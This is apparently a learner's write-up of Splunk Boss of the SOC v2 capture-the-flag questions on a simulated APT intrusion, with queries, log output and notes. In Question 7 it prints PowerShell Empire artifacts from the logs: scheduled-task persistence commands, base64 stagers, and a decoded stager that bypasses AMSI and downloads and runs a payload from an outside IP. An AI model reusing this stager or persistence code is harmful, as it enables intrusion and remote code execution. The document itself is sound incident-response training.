

Question 1

A Federal law enforcement agency reports that Taedonggang often spear phishes its victims with zip files that have to be opened with a password. What is the name of the attachment sent to Frothly by a malicious Taedonggang actor?

invoice.zip

index="botsv2"

Hmm. So many sourcetypes...how to make splunk show me the full list?

index="botsv2"  
|metadata type=sources index=\*

That doesn't really work. I must not be understanding something well

I know it's email with a zip file

index="botsv2" sourcetype="stream:SMTP" \*.ZIP

Only one attachment that is .zip

attach\_filename{}

×

1 Value, 66.667% of events

Selected

Yes

No

Reports

Top values

Top values by time

Rare values

Events with this field

Values	Count	%
invoice.zip	4	100%

Question 2

What is the password to open the zip file?

912345678

index="botsv2" sourcetype="stream:SMTP" \*.ZIP "attach\_filename{}"="invoice.zip"

Honestly, I needed to look at a walkthrough for tips and I would never had figured this one out. --For the sake of learning more, I" cheat this one ;)

Question 3

The Taedonggang APT group encrypts most of their traffic with SSL. What is the "SSL Issuer" that they use for the majority of their traffic? Answer guidance: Copy the field exactly, including spaces.

C = US

index="botsv2" sourcetype="stream:SMTP"

index="botsv2" sourcetype="stream:SMTP" "attach\_filename{}"=""

attach\_filename{}

×

6 Values, 100% of events

Selected

Yes

No

Reports

Top values

Top values by time

Rare values

Events with this field

Values	Count	%
Malware Alert Text.txt	4	36.364%
invoice.zip	4	36.364%
image.png	2	18.182%
GoT.S7E2.BOTS.BOTS.BOTS.mkv.torrent	1	9.091%
Office2016_Patcher_For_OSX.torrent	1	9.091%
Saccharomyces_cerevisiae_patent.docx	1	9.091%

index="botsv2" sourcetype="stream:SMTP" "attach\_filename{}"="Malware Alert Text.txt"

Looking at 4 events now

content{}

×

27 Values, 100% of events

Selected

Yes

No

Reports

Top values

Top values by time

Rare values

Events with this field

Top 10 Values

	Count	%	
.	4	100%	
Content-Type: application/octet-stream; name="Malware Alert Text.txt" Content-Description: Malware Alert Text.txt Content-Disposition: attachment; filename="Malware Alert Text.txt" Content-Transfer-Encoding: base64	4	100%	
Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: quoted-printable	4	100%	
--_00512fab-251e-439d-a0ae-12b8d72d493e_	1	25%	
--_32b7f1b0-8253-4f59-b2e8-a6ca6eaa5cb1_	1	25%	
--_3f4cf63c-561d-4d63-a2f3-f3c4b20ebd95_	1	25%	
--_67b8f40b-fb98-4d10-ace0-50167ccecece3_	1	25%	
<html> <head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3DUTF-8"> </head> <body> <div> <div data-node-type=3D"line" id=3D"magicdomid2"> <div data-node-type=3D"line" id=3D"magicdomid2">As we have not received a = service cessation letter, I am assuming that you might have accidentally = overlooked this invoice &lsquo;02/160000506500 (Unpaid)&rsquo; for 10,000 = GBP. Should you wish to bring an end to the agreement please let us know. = Otherwise early	1	25%	

Apparently this question is a pivot of the previous and I am unable to get the answer without look at a guide so I will jump to this part: <https://www.virustotal.com/gui/file/d8834aaa5ad6d8ee5ae71e042aca5cab960e73a6827e45339620359633608cf1/detection> and this:

< > ↺ 🔒

www.virustotal.com/gui/file/d8834aaa5ad6d8ee5ae71e042a

Sourcing and... Spotify – Even... Spotify – Don't

☰

VIRUSTOTAL

SUMMARY

DETECTION

DETAILS

RELATIONS

BEHAVIOR

Contacted IP Addresses

IP	Detections	Autonomous System	Country
45.77.65.211	0 / 90	20473	DE

Graph Summary

[45.77.65.211](https://www.virustotal.com/gui/file/d8834aaa5ad6d8ee5ae71e042aca5cab960e73a6827e45339620359633608cf1/detection)

My pivot to

index="botsv2" sourcetype="stream:http" "[45.77.65.211](https://www.virustotal.com/gui/file/d8834aaa5ad6d8ee5ae71e042aca5cab960e73a6827e45339620359633608cf1/detection)"  
with 9,712 events!!!!

source

×

2 Values, 100% of events

Selected

Yes

No

Reports

Top values

Events with this field

Top values by time

Rare values

this could be something

stream: httpbrewertalk

Count

4,857

%

50.01%

stream: http

Count

4,855

%

49.99%

I got stuck again but I learned that ssl is found in tcp streams, not http

index="botsv2" sourcetype="stream:tcp" "[45.77.65.211](#)"

ssl\_issuer

2 Values, 82.758% of events

Selected

Yes

No

Reports

Top values

Events with this field

Top values by time

Rare values

C = US

Count

14,189

%

58.981%

9,868

Count

41.019%

ack\_packets\_out: 5

Question 4

What unusual file (for an American company) does winsys32.dll cause to be downloaded into the Frothly environment?  
나는\_데이비드를\_사랑한다.hwp

index="botsv2" "winsys32.dll"

CommandLine looks suspicious

Token Elevation Type: TokenElevationTypeDefault (1)

CommandLine

1 Value, 42.857% of events

Selected

Yes

No

Reports

Top values

Events with this field

Top values by time

Rare values

"C:\Windows\system32\ftp.exe" -i -s:winsys32.dll

Count

3

%

100%

Show all 33 lines

FTP?

I GOT A LITTLE STUCK AGAIN SO I FOUND THE GUIDE SAYING THIS

```
index=botsv2 sourcetype=stream:ftp method=RETR
| reverse
```

method\_parameter

7 Values, 100% of events

Selected

Yes

No

Reports

Top values

Top values by time

Rare values

Events with this field

Values	Count	%	
<a href="#">dns.py</a>	2	14.286%	
<a href="#">nc.exe</a>	2	14.286%	
<a href="#">psexec.exe</a>	2	14.286%	
<a href="#">python-2.7.6.amd64.msi</a>	2	14.286%	
<a href="#">wget64.exe</a>	2	14.286%	
<a href="#">winsys64.dll</a>	2	14.286%	
<a href="#">나는_데이비드를_사랑한다.hwp</a>	2	14.286%	

I know Korean. It says "I love David" and the group is a Korean name too.

Question 5

What is the first and last name of the poor innocent sap who was implicated in the metadata of the file that executed PowerShell Empire on the first victim's workstation? Answer example: John Smith

Ryan Kovar

index=botsv2 | search method\_parameter="나는\_데이비드를\_사랑한다.hwp"

Nope, that does nothing. Relating back to the guide, the answer is found in the early question above my knowledge based : (

Question 6

Within the document, what kind of points is mentioned if you found the text?

CyberEastEgg

Again this involved downloading the zip file and analyzing it, which i cannot do.

Question 7

To maintain persistence in the Frothly network, Taedonggang APT configured several Scheduled Tasks to beacon back to their C2 server. What single webpage is most contacted by these Scheduled Tasks? Answer example: index.php or images.html

Schedule task???

sysmon and schtasks.exe

I DONOT know the proper syntax for that, so...

index=botsv2 "sysmon" "schtasks.exe"

I see CommandLine 10 and ParentCommandLine 4

index=botsv2 "sysmon" "schtasks.exe" (CommandLine="" && ParentCommandLine="")

^^This did not work 😞

Back to the guide



index=botsv2 source=WinEventLog:Microsoft-Windows-Sysmon/Operational CommandLine=\*schtasks.exe\* CommandLine!="\*Microsoft\\Office\*" | table \_time host CommandLine ParentCommandLine

1 index=botsv2 source=WinEventLog:Microsoft-Windows-Sysmon/Operational CommandLine=\*schtasks.exe\* CommandLine!="\*Microsoft\\Office\*"2 | table \_time host CommandLine ParentCommandLine

All time

✓ 15 events (before 2/5/22 10:55:10.000 AM) No Event Sampling

Job II Smart Mod

Events   Patterns <b>Statistics (15)</b> Visualization				
20 Per Page  Format   Preview 				
_time ↕	host ↕	CommandLine ↕	ParentCommandLine ↕	
2017-08-29 10:21:31	wrk-aturing	C:\Windows\system32\schtasks.exe /delete /f /TN "Microsoft\Windows\Customer Experience Improvement Program\Uploader"	C:\Windows\System32\wsqmcons.exe	
2017-08-29 10:06:26	venus	C:\Windows\system32\schtasks.exe /delete /f /TN "Microsoft\Windows\Customer Experience Improvement Program\Uploader"	C:\Windows\System32\wsqmcons.exe	
2017-08-24 03:45:03	wrk-btun	"C:\Windows\system32\schtasks.exe" /Create /F /RU system /SC DAILY /ST 10:26 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((gp HKLM:\Software\Microsoft\Network debug).debug)))\""	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -enc WwBSAGUAZgBdAC4AQQBzAFMARQBtAGIATABZAC4ARwB1AHQAVABZAFARQAoACcAUwB5AHMAAdAB1AG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzA	
2017-08-24 04:12:36	venus	"C:\Windows\system32\schtasks.exe" /Create /F /RU system /SC DAILY /ST 10:51 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((gp HKLM:\Software\Microsoft\Network debug).debug)))\""	C:\Windows\System32\WindowsPowerShell\v1.0\powershell -noP -sta -w 1 -enc WwBSAGUARgBdAC4AQQBTahMARQBnAGIATABZAC4ARwB1AFQAVABZAHAAZQAoACcAUwB5AHMAAdAB1AG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzA	
2017-08-24 04:04:26	wrk-klagerf	"C:\Windows\system32\schtasks.exe" /Create /F /RU system /SC DAILY /ST 10:39 /TN Updater /TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \"IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((gp HKLM:\Software\Microsoft\Network debug).debug)))\""	C:\Windows\System32\WindowsPowerShell\v1.0\powershell -noP -sta -w 1 -enc WwBSAGUARgBdAC4AQQBTahMARQBnAGIATABZAC4ARwB1AFQAVABZAHAAZQAoACcAUwB5AHMAAdAB1AG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzA	

POWERSHELL!!!!



Base64

WwBSAGUAZgBdAC4AQQBzAFMARQBtAGIATABZAC4ARwB1AHQAVABZAFARQAoACcAUwB5AHMAAdAB1AG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABZACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAekAZQBMAGQAKAAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUUAZAAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAYQBMAFUARQAoACQAbgBVAEWAbAAsACQAVABSAHUARQApAH0AOwBbAFMAWQBzAHQAZQBtAC4ATgBFAHQALgBTAEUUAUgB2AEkAQwBFafaATwBJAG4AVABNAEEAbgBhAGcARQBSAF0AOgA6AEUAWABQAEUAYwB0ADEAMAawAEMAbwBuAHQAaQBOAHUAZQA9ADAAOwAkAHcAQwA9AE4ARQBXAC0ATwBiAGoARQBDAHQAIABTAFkAcwBUAGUATQAuAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBuAHQAOWAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAhcAcwAgAE4AVAAGADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAACgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBIAHIAAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQAdwBjAC4ASABIAEEAZABIAFIAUwAuAEEAZABEACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUABYAG8AeAB5AD0AWwBTAHkAUwBUAEUAbQAuAE4AZQB0AC4AVwBIAEIAUgBFAFEAVQBIAFMAdABdADoAOgBEAEUAZgBBAHUAbABUAFcAZQBCAFaaCgBvAHgAWQA7ACQAVwBjAC4AUABSAE8AeAB5AC4AQwBSAGUARABIAE4AdABJAGEAbABTACAAPQAgAFsAUwB5AHMAAdABFAG0ALgBOAEUAdAAuAEMAAGBFAGQARQBuaHQAAQBhAEwAQwBhAGMASABIAF0AOgA6AEQAZQBGAEEAdQBMAHQATgBIAHQAVwBPAFIAawBDAFIARQBEAGUATgB0AEkAQQBsaHMAOWAkAEsAPQBbAFMAeQBzAHQARQBtAC4AVABIAHgAdAAuAEUAbgBjAE8ARABJAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAVABCAHkAVABIAFMAKAAAnADMAOAA5ADIAOAA4AGUAZABkAdcAOABIADgAZQBhADIAZgA1ADQAOQA0ADYAZAAzADIAMAA5AGIAMQA2AGIAOAAAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQBBSAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAFaAIAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AE4AdABdACKAJQAYADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAKAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAFaAIAHsAJABJAD0AKAAkAEkAKwAxACKAJQAYADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAIADIANQA2ADsAJABTAFsAJABJAF0ALAakAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBCAHgATwBSACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQARQBSAHMALgBBAEQAZAAoACIAQwBvAG8AawBpAGUAlgAsACIAcWBlAHMAcWbPAG8AbgA9AGwAcgB0AFIASABLAGsAQQA2AEKATAA1AGgALwBkADgARQBrAGsANgBRAHMAeAB5AFAAdgBrAD0AlgApADsAJABzAGUAcgA9ACcAaB0AHQAcABzADoALwAvADQANQAuADcANwAuADYANQAuADIAMQAxADoANAA0ADMAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAEQAQQBUAEEAPQAKAFcAQwAuAEQAbwBXAE4ATABvAGEARABEAEAEAVABBACgAJABTAEUAUgArACQAVAApADsAJABpAFYAPQAKAEQAQQB0AGEAWwAwAC4ALgAzAF0AOwAkAEQAYQB0AEEAPQAKAGQAQQBUAGEAWwA0AC4ALgAkAEQAYQB0UAGEALgBsAEUATgBHAFQAaABdADsALQKBKAG8ASQBOAFsAQwBIAGEACgBbAF0AXQAoACYAIAAKAFIAIAAKAGQAYQB0UAGEAIAAaACQASQBWACsAJABLACKAKQB8AEKARQBYAA=="

DECODED

[.R.e.f.]...A.s.S.E.m.b.L.Y...G.e.t.T.Y.P.E.(!S.y.s.t.e.m...M.a.n.a.g.e.m.e.n.t...A.u.t.o.m.a.t.i.o.n...A.m.s.i.U.t.i.l.s!).|.?.{.\$.\_.}|.%.{.\$.\_...G.e.T.F.I.e.L.d.  
(!a.m.s.i.l.n.i.t.f.a.i.l.e.d!.,!N.o.n.P.u.b.l.i.c.,.S.t.a.t.i.c!)...S.E.t.v.a.L.U.E.(.\$n.U.L.l.,\$T.R.u.E.).};.,  
[.S.Y.s.t.e.m...N.E.t...S.E.R.v.I.C.E.P.O.I.n.T.M.A.n.a.g.E.R.]...:E.X.P.E.c.t.1.0.0.C.o.n.t.i.N.u.e.=0;,\$w.C.=.N.E.W.-O.b.j.E.C.t.  
.S.Y.s.T.e.M...N.E.t...W.E.b.C.l.i.E.n.t.;,\$u.='M.o.z.i.l.l.a./5...0. (.W.i.n.d.o.w.s. .N.T. .6...1.;. .W.O.W.6.4.;. .T.r.i.d.e.n.t./7...0.;. .r.v.:1.1...0.). .l.i.k.e. .G.e.c.k.o!.;  
[.S.y.s.t.e.m...N.e.t...S.e.r.v.i.c.e.P.o.i.n.t.M.a.n.a.g.e.r.]...:S.e.r.v.e.r.C.e.r.t.i.f.i.c.a.t.e.V.a.l.i.d.a.t.i.o.n.C.a.l.l.b.a.c.k. =. {.\$t.r.u.e.};,\$w.c...H.e.A.d.e.R.S...A.d.D.  
(!U.s.e.r.-A.g.e.n.t!.,\$u.);,\$W.C...P.r.o.x.y=[.S.y.S.T.E.m...N.e.t...W.e.B.R.E.Q.U.e.S.t.]...:D.E.f.a.u.l.T.W.e.B.P.r.o.x.Y.;,\$W.c...P.R.O.x.y...C.R.e.D.e.N.t.l.a.l.S. =. .  
[.S.y.s.t.E.m...N.E.t...C.r.E.d.E.n.t.i.a.L.C.a.c.H.e.]...:D.e.F.a.u.l.t.N.e.t.W.O.R.k.C.R.E.D.e.N.t.l.A.l.s.;,\$K.=.  
[.S.y.s.t.E.m...T.e.x.t...E.n.c.O.D.I.n.g.]...:A.S.C.I.I...G.e.T.B.y.T.e.S.(!3.8.9.2.8.8.e.d.d.7.8.e.8.e.a.2.f.5.4.9.4.6.d.3.2.0.9.b.1.6.b.8!);,\$R.=.  
{.\$D.,.\$K.=.\$A.R.g.s.;,\$S.=0.....2.5.5.;0.....2.5.5.|.%.{.\$J.=.(.\$J.+.\$S.[.\$\_].+.\$K.[.\$\_.%\$K...C.o.u.N.t.).}%2.5.6.;,\$S.[.\$\_].,\$S.[.\$J].=\$S.[.\$J].,\$S.  
[.\$\_].};,\$D.|.%.{.\$I.=.(.\$I.+1.).}%2.5.6.;,\$H.=.(.\$H.+.\$S.[.\$I.]).}%2.5.6.;,\$S.[.\$I.],,\$S.[.\$H.].=\$S.[.\$H.],,\$S.[.\$I.];,\$\_-.B.x.O.R.\$S.[.(.\$S.[.\$I.].+.\$S.  
[.\$H.]).}%2.5.6.].};,\$w.c...H.e.a.d.E.R.s...A.D.d.  
(!"C.o.o.k.i.e.",."s.e.s.s.i.o.n.=.l.r.t.R.H.K.k.A.6.I.L.5.h./d.8.E.k.k.Q.s.x.y.P.v.k.=.");,\$s.e.r.='h.t.t.p.s:././4.5...7.7...6.5...2.1.1.:4.4.3!;,\$t.='!/.a.d.m.i.n./g.e.t...p.  
h.p!;,\$D.A.T.A.=.\$W.C...D.o.W.N.L.o.a.D.D.A.T.A.(.\$S.E.R.+.\$T.);,\$i.V=.\$D.A.t.a.[0.....3.];,\$D.a.t.A=.\$d.A.T.a.[4.....\$D.a.T.a...l.E.N.G.T.h.];,-.J.o.I.N.[C.H.a.r.  
[.].)(.& .\$.R. \$.d.a.T.a. (.\$I.V.+.\$K.).).I.E.X.

nope, not admin/get.php

Being Stuck yet again I look at the guide; I'm close but I dont know what to do

Fome GUIDE

The task says basically to run code stored in Registry key HKLM:\Software\Microsoft\Network debugafter decoding from base64. So we need to pivot to the



source WinRegistry

```
index=botsv2 source=WinRegistry "\\Software\\Microsoft\\Network"
```

We get just 4 events, so we can look through them all. I'll just pick one here

```
08/23/2017 21:20:24.244
event_status="(0)The operation completed successfully."
pid=5600
process_image="c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
registry_type="SetValue"
key_path="HKLM\software\microsoft\network\debug"
data_type="REG_SZ"
data="WwBSAGUARGbDAC4AQQBzAHMARQBtAEIATABZAC4ARwBFAHQAVAB5AFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAAbwBtAGEAdABpAG8A
bgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAKAF8AfQB8ACUAewAKAF8ALgBHAGUAVABGAGkARQBsaEQAKAAAnAGEAbQBzAGkASQBUAGkAdABGAGEAaQBsaGUAZAAnACwAJwB0AG
8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQBUAfYAYQBsaFUUAZQAoACQAbgBVAEwATAAsACQAdABSAFUARQApAH0A0wBbAFMAeQBTahQARQBtAC4ATgBFAHQALgBT
AGUAcgB2AEkAYwBlAFAAbwBpAE4AdABNAEEAbgBBAEcARQBsaF0A0gA6AEUAWABwAEUAQwBUADEMAAAwAEMATwB0AHQASQBUAHUAZQA9ADAA0wAKAHcAYwA9AE4ARQB3AC0ATwBiAGoAZQ
BDahQAIABTAFKAUwBUAGUATQAuAE4AZQB0AC4AVwBlAEIAQwBsAEkAZQB0AFQA0wAKAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAGADYA
LgAxADsAIABXAE8AVwA2ADQA0wAgAFQACgBpAGQAZQBBAuAHQALwA3AC4AMAA7ACAACgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAWwBTAHkAcwB0AGUAbQAuAE
4AZQB0AC4AUwBlAHIAAdgBpAGMAZQBQAG8AaQBBAuAHQATQBhAG4AYQBnAGUAcgBdADoA0gBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBD
AGEAbABsAGIAYQBjAGsAIAA9ACAewAKAHQACgB1AGUafQA7ACQAVwBjAC4ASABFAGEAZABlAHIAcWAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdw
BjAC4AUABSAE8AWABZAD0AwWBTahKAUwB0AGUATQAuAE4ARQB0AC4AVwBlAGIAUgBFAFEAVQB1AFMAVABdADoA0gBEAGUARGBBahuATAB0AFcARQB1AFAAcgBvAFgAWQA7ACQAVwBDAC4A
UABSAG8AeAB5AC4AQwBSAEUAZABlAG4AVABJAEEAbABzACAAPQAgAFsAUwB5AHMAdABlAE0ALgB0AGUAVAAuAEMAUGBlAGQAZQBBAuAHQASQBBAGwAQwBBaEMASABFAF0A0gA6AEQAZQBGA
EAdQBMAFQATgBFaFQAdwBvAFIAawBDAFIAZQBEAEUAbgBUAEkAYQBMAHMA0wAKAEsAPQBbAFMAeQbZAFQAZQBNAc4AVABFAFgAdAAuAEUAbgBjAE8ARABpAE4ARwBdADoA0gBBAFMAQwBJ
AEKALgBHAEUAdABCAfKAdABlAHMAKAAnADMA0AA5ADIA0AA4AGUAZABkADcA0ABlADgAZQBhADIAZgA1ADQA0QA0ADYAZAAZADIAMAA5AGIAMQA2AGIA0AAnACkA0wAKAFIAPQB7ACQARA
AsACQASwA9ACQAAQBYAgcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAA1AHsAJABKAD0AKAAkAEoAKwAKAFMAWwAKAF8AXQArACQASwBbACQAXwAlACQASwAuAEMA
TwB1AG4AdABdACKAJQAYADUAngA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAKAFMAWwAKAEoAXQASACQAUwBbACQAXwBdAH0A0wAKAEQAFAA1AHsAJABJAD0AKAAkAEkAKwAXAC
KAJQAYADUAngA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQA1ADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAKAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0A0wAK
AF8ALQBcAFgATwBSACQAUwBbACgAJABTAFsAJABJAF0AKwAKAFMAWwAKAEgAXQAPACUAMgA1ADYAXQB9AH0A0wAKAFcAYwAuAEgARQBBAEQARQBYAFMALgBBAEQARAa0ACIAQwBvAG8Aaw
BpAGUAIgAsACIAcWBlAHMAcWBPAG8AbgA9ADcAcgBxAGgAWQBMAEsAdAB2AHKAVQBjAEMANGB5AEkATwBWAG4AbwBQAEgAdgBhAGcAMQbZAD0AIgApADsAJABZAGUAcgA9ACcAaAB0AHQA
cABZADoALwAvADQANQAuADcANwAuADYANQAuADIAMQAXADoANAA0ADMAJwA7ACQAdAA9ACcALwBuAGUAdwBZAC4AcABoAHAAJwA7ACQAZABhAHQAQQA9ACQAVwBDAC4ARABvAFcAbgBMAG
8AQQBkAEQAYQB0AGEAKAAKAHMAZQBSACsAJABUACKA0wAKAGkAVgA9ACQAZABBAFQAQQBbADAAALgAuADMAXQA7ACQAZABhAHQAQQA9ACQARABBAFQAQQBbADQALgAuACQARABBAFQAYQAu
AGwAZQBBAgCAdABoAF0A0wAtAGoATwBJAE4AWwBDAGgAQQBsaFSAxQBdACgAJgAgACQAUGAgACQARABBAFQAYQAgACgAJABJAFYAKwAKAEsAKQApAHwASQBFAFgA"
```

Decoding datavalue with base64 and adding proper alignment for readability gives

1	[ReF].AssEmBLY.GEtTyPE('System.Management.Automation.AmsiUtils'))?{\$_ }%
2	{\$_.GeTFiElD('amsiInitFailed','NonPublic,Static').SeTValUe(\$nULL,\$tRUE));[SyStEm.NEt.ServIcePoiNtMAnAGER]::EXpECT100
3	\$wc=NEw-ObjEcT SYSTeM.Net.WeBClIeNT;
4	\$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
5	[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\$true};
6	\$Wc.HEaders.Add('User-Agent',\$u);
7	\$wc.PROXY=[SySteM.NEt.WebREQUeST]::DeFauLtWEbProXY;
8	\$WC.PRoxy.CREdenTIAls = [SysteM.NeT.CRedentIAlcACHE]::DeFauLTNETwoRkCReDEnTIAls;\$K=
9	[SysTeM.TEXt.EncODiNG]::ASCIi.GEtBYtes('389288edd78e8ea2f54946d3209b16b8');
10	\$R={\$D,\$K=\$Args;\$S=0..255;0..255 %{\$J=(\$J+\$S[\$_ ]+\$K[\$_%\$K.COunt])%256;
11	\$S[\$_ ,\$S[\$J]=\$S[\$J],\$S[\$_ ];\$D %{\$I=(\$I+1)%256;
12	\$H=(\$H+\$S[\$I])%256;\$S[\$I],\$S[\$H]=\$S[\$H],\$S[\$I];\$_-BXOR\$S[((\$S[\$I]+\$S[\$H])%256)]};
13	\$Wc.HEADERs.ADD("Cookie","session=7rqhYlKtvyUcC6yIOVnoPHvag1Y=");
14	\$ser='https://45.77.65.211:443';
15	\$t='/news.php';
16	\$datA=\$WC.DoWnLoAdData(\$seR+\$T);
	\$iV=\$dATA[0..3];
	\$datA=\$DATA[4..\$DATA.length];
	-jOIN[ChAR[]](& \$R \$DATA (\$iV+\$K)) IEX

We see the subpath visited here is /news.phpDo the same for the other 3 events and you'll find two which visit /login/process.php, while the remaining visits /admin/get.phpSo process.php is our answer.